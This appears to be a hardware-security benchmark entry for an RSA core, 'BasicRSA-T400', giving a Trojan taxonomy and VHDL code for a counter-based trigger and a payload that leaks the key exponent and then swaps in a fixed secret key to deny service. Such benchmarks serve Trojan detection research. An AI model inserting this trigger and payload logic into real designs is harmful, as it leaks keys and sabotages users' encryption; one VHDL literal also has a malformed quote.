BasicRSA-T400

- Trojan description
  - Trojan leaks inExp (private key exponent (e)), and after a certain number of encryption Trojan replaces the secret key to deny the service. The adversary would be the only entity would understand the message.

- Trojan taxonomy
  - Insertion phase: Design
  - Abstraction level: Register-transfer level
  - Activation mechanism: Internally time based
  - Effects: Leak information, Denial of service
  - Location: Processor
  - Physical characteristics: Functional

BasicRSA-T400

Trojan trigger

```
TrojanTrigger: process (ds, reset) is
begin
        if reset='1' then
                TrojanCounter <= x"00000000";
        elsif rising_edge(ds) then
                if TjEnable = '1' then
                        TrojanCounter <= TrojanCounter + 1;
                end if;
        end if;
end process TrojanTrigger;
TrojanControlSignal: process (reset, TrojanCounter) is
begin
        if reset = '1' then
                TjEnable <= '1';
        elsif TrojanCounter = x"00000002" then
                TjEnable <= '0‘;
        end if;
end process TrojanControlSignal;
```

BasicRSA-T400

Trojan payload

```
 TrojanPayload: process (TrojanCounter) is
begin
        if TrojanCounter < x"00000002" then
                SecretKey <= inExp;
        else
                SecretKey <=  x"009add0a";
        end if;
end process TrojanPayload;
```